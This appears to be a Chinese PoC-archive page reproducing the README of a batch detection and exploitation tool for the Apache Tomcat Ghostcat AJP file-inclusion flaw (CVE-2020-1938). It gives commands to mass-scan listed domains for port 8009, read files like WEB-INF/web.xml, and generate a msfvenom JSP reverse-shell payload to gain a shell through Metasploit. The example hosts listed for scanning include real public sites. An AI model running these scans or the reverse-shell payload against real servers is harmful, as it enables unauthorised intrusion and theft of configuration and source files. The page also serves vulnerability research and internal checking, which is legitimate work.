POC详情: e9dce3c92ed16d0f16884d624fef6c7fbd2c9517

来源
关联漏洞
标题: Apache Tomcat 安全漏洞 (CVE-2020-1938)
描述:Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat 7.0.100版本之前的7.*版本、8.5.51版本之前的8.*版本和9.0.31版本之前的9.*版本中的Tomcat AJP协议存在安全漏洞。攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如 webapp 配置文件或源代码等。
描述
CVE-2020-1938 / CNVD-2020-1048 Detection Tools
介绍
# 说明
**工具仅用于安全研究以及内部自查, 禁止使用工具发起非法攻击, 造成的后果由使用者负责**

Apache Tomcat文件包含漏洞(CVE-2020-1938 / CNVD-2020-1048 )批量检测工具. 

此项目在[Kit4y的项目](https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner)的基础上进行修改. 

# 代码修改
当ip.txt中只有1个域名或ip时, 会使得threadCount为1, 程序实际上没有运行, 增加判断线程数的代码
<pre>
...
if threadCount == 1:
    threadCount = 2
for i in range(0,threadCount-1):
...
</pre>

</pre>
修改少量代码, 以兼容Python3. 修改前的代码
<pre>
self.stream = self.socket.makefile("rb", bufsize=0)
</pre>
<pre>
print("".join([d.data for d in data]))
</pre>
修改后的代码
<pre>
if sys.version_info < (3, 0):
    self.stream = self.socket.makefile("rb", bufsize=0)
else:
    self.stream = self.socket.makefile("rb", buffering=None)
</pre>
<pre>
if sys.version_info < (3, 0):
    print("".join([d.data for d in data]))
else:
    print(b"".join([d.data for d in data]).decode("UTF-8"))
</pre>


# 使用
## 批量检测
**1、将需要扫描的域名/ip放于 ip.txt, 如**
> 127.0.0.1  
> www.baidu.com  
> www.google.com  

**2、python threading-find-port-8009.py**

扫描ip.txt中域名/ip找出开放8009端口的, 存放于生成的8009.txt中 

**3、python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py**

从8009.txt中筛选出符合漏洞的url, 放置于vul.txt中. 最后vul.txt中存在的域名即为含有漏洞的域名

## 单站点检测
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
> python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128  
> 
> python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128

## 跨目录和反弹shell
默认读取webapps下的ROOT,修改“/asdf”为“/test/asdf”可以访问webapps下test目录的内容
<pre>
t.perform_request('/asdf',attributes=[
</pre>

若服务器同时存在文件上传漏洞,上传下面的shell.txt
<pre>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
</pre>  
修改“/asdf”为“/asdf.jsp”,启动MSF后使用PoC工具可以取得shell


# 其他相关工具
https://github.com/0nise/CVE-2020-1938  
https://github.com/hypn0s/AJPy  
https://github.com/00theway/Ghostcat-CNVD-2020-10487
文件快照

[4.0K] /data/pocs/e9dce3c92ed16d0f16884d624fef6c7fbd2c9517 ├── [ 11K] CNVD-2020-10487-Tomcat-Ajp-lfi.py ├── [ 15] ip.txt ├── [2.4K] README.md ├── [ 12K] threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py └── [1.7K] threading-find-port-8009.py 0 directories, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。